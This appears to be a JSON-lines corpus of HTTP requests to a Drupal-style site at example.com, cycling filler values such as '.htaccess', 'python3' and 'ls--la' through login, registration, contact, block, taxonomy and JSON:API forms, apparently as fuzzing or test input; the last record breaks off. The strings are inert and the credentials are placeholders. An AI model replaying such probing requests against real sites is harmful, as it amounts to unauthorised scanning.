{"method": "GET", "target": "/fr/admin/content?destination=/admin/content%3Ftitle%3D.htaccess", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "form_build_id=form--MgUmKVBHL8-ZmCxTbdLPxRiftVEH4MgTBHruTxJauE&form_id=user_login_form&name=.htaccess&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/user/login?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json"], "body": "{\"name\": \".htaccess\", \"pass\": \"example-password-1\"}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-KvM4cYzHX--qJZbsRjkUpjiC8Ur7siCJJhCJLblQr8E&form_id=user_register_form&contact=1&name=.htaccess&mail=new.person%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/user/password", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/password"], "body": "form_build_id=form-iBeLc4CsvDOc-xZT-zhb6QxjNg_jwYe0TaIHAE_vpp8&form_id=user_pass&name=.htaccess&op=Submit"}
{"method": "POST", "target": "/admin/structure/taxonomy/manage/tags/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/add", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-GSm8BZcaqC2oMD0ss2FLRrO7emC2Tk555Tl2-yqMDSc&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=.htaccess&description%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-yF5zyquuedtxdGI3ewxQBnBb1LBkUhTFaEgI7Ecz0gw&form_token=SojzbaQwCVukpv8FTEjCJRTSIDNbLkYQsIQVk_bs9gk&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=.htaccess&description%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-5bArh5towO4oOBS-LIH1R8r8x_d3EdGh4BjmTmwdEE4&form_token=q0WBE_UHNxlwI7gIKjkOQ3vzcjjqF6MA-tkc-jlDkss&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=.htaccess&body%5B0%5D%5Bvalue%5D=%3Cp%3E.htaccess%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/admin/content/block/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content/block/1", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-CwIvpadrxAEPW4KJvATOVvytevY3_g-IzPU78-Abnc4&form_token=CTFthAPih-MpIpDfZfC3X-u7Zu-ZkxceTSLp5LSz6sA&form_id=block_content_basic_edit_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=.htaccess&body%5B0%5D%5Bvalue%5D=%3Cp%3E.htaccess%3C%2Fp%3E&op=Save"}
{"method": "POST", "target": "/contact/feedback", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact/feedback", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-ZgRgfU0UomrkDUUeKSF-XFs0OERMNCjqd3ntusnlEJ0&form_token=BioWXw_l1qeQpXCVk6MecFnqzo3v4Xx4789RNdhMzbI&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=.htaccess&message%5B0%5D%5Bvalue%5D=.htaccess&op=Send+message"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-TyCu70S2J4pGKbDVvrkOHAUZ4DMIhBioTuPucHezJ4E&form_token=9fGYktyPYGrqY39Trq3LbZ-pPEiu26dKeoTIYs2yUSI&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Hello&message%5B0%5D%5Bvalue%5D=.htaccess&op=Send+message"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "mail=ls--la%40example.com&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-RGdB8fxpsJLcBO_bnVSFq_dDSgGp9y4UkvBcULmEA6U&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&name=.htaccess&op=Save"}
{"method": "POST", "target": "/user/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/edit", "Cookie: SESSexample=example-session-value"], "body": "name=.htaccess&pass%5Bpass1%5D=&pass%5Bpass2%5D=&status=1&roles%5Bauthenticated%5D=authenticated&user_picture%5B0%5D%5Bfids%5D=&preferred_langcode=en&form_build_id=form-oawiR3_b82FmHmX3iUCg6bbyHUVliOpSnlCbE9gNfQ8&form_token=YEqI2vgLK6MdCg3eFgVGdWvoBXnUz3jPMJlC-pxJpKQ&form_id=user_form&contact=1&timezone=UTC&mail=.htaccess%40example.com&op=Save"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "form_build_id=form-fWXW0_t0POXGE2CvbdNIt5pM-3z4tFgsdTt-dbA8r7U&form_id=comment_comment_form&name=.htaccess&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "PATCH", "target": "/node/2?_format=json", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"type\": [{\"target_id\": \"article\"}], \"title\": [{\"value\": \".htaccess\"}]}"}
{"method": "POST", "target": "/jsonapi/taxonomy_term/tags", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"taxonomy_term--tags\", \"attributes\": {\"name\": \".htaccess\", \"description\": {\"value\": \".htaccess\", \"format\": \"plain_text\"}}}}"}
{"method": "PATCH", "target": "/jsonapi/user/user/8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"user--user\", \"id\": \"8ef8d8a0-cb47-47c4-ac70-ba5e24fb4547\", \"attributes\": {\"name\": \".htaccess\"}}}"}
{"method": "PATCH", "target": "/jsonapi/node/article/e913030f-277a-4d92-be7b-db577ce282ad", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"node--article\", \"id\": \"e913030f-277a-4d92-be7b-db577ce282ad\", \"attributes\": {\"revision_log\": \".htaccess\"}}}"}
{"method": "POST", "target": "/jsonapi/block_content/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Content-Type: application/vnd.api+json", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/vnd.api+json", "Cookie: SESSexample=example-session-value", "Authorization: Basic YWRtaW46ZXhhbXBsZS1wYXNzd29yZC0x"], "body": "{\"data\": {\"type\": \"block_content--basic\", \"attributes\": {\"info\": \".htaccess\"}}}"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=Example-notes%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-OtF19PL07BZ_JRM8b_DdnnEKUnOQajB4f1jQJ23uop0&form_id=comment_comment_form&name=Visitor&mail=Example-notes%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-8R2N1x1pfqcr8GN713kyLpn0b-cTnNVN7ygqRRuLlQk&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=Example+notes&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-t_j-0Uo-nj9w4F3mal1sdrIJ6nRCz8WRLnWuvc4H7xU&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-eDv1dJ9TeQSCfn_qnOpucL9FZ80CWcj2DqoFZKweo6A&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=Example+notes&message%5B0%5D%5Bvalue%5D=Example+notes&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=Example+notes&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-yOLNU6YuuT3aI5dgvD7swHgArKGp4ZnsyTHfxuCE0rE&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=Example+notes&description%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254564&form_build_id=form-Gai5cby_kd0hTGnntBqbNd5FaphxmrNhVzXlBr_tW4A&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=Example+notes&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=python3%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-ehJvk05FGy45Nhp20LoEYUQE7Wt_-2JzRjizP26CgBY&form_id=comment_comment_form&name=Visitor&mail=python3%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-V1VVXP408QEmGCpsAPuR7RrJ0x2qvE8oV4e9lHH3R1U&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=python3&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-G9_Pxre_HbKdcBQeFuUFlMVddf4PZbL0v0QwFrK_5ec&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-5F3fqn6-aOxkyrQTgkFt9ZtfP3Ix-3gJ94t-_ZxMfT8&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=python3&message%5B0%5D%5Bvalue%5D=python3&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=python3&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-a6fa_5ka4mxKF80GbK2KU-fFVk6YK_XMB-Baww5X2Mk&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=python3&description%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": 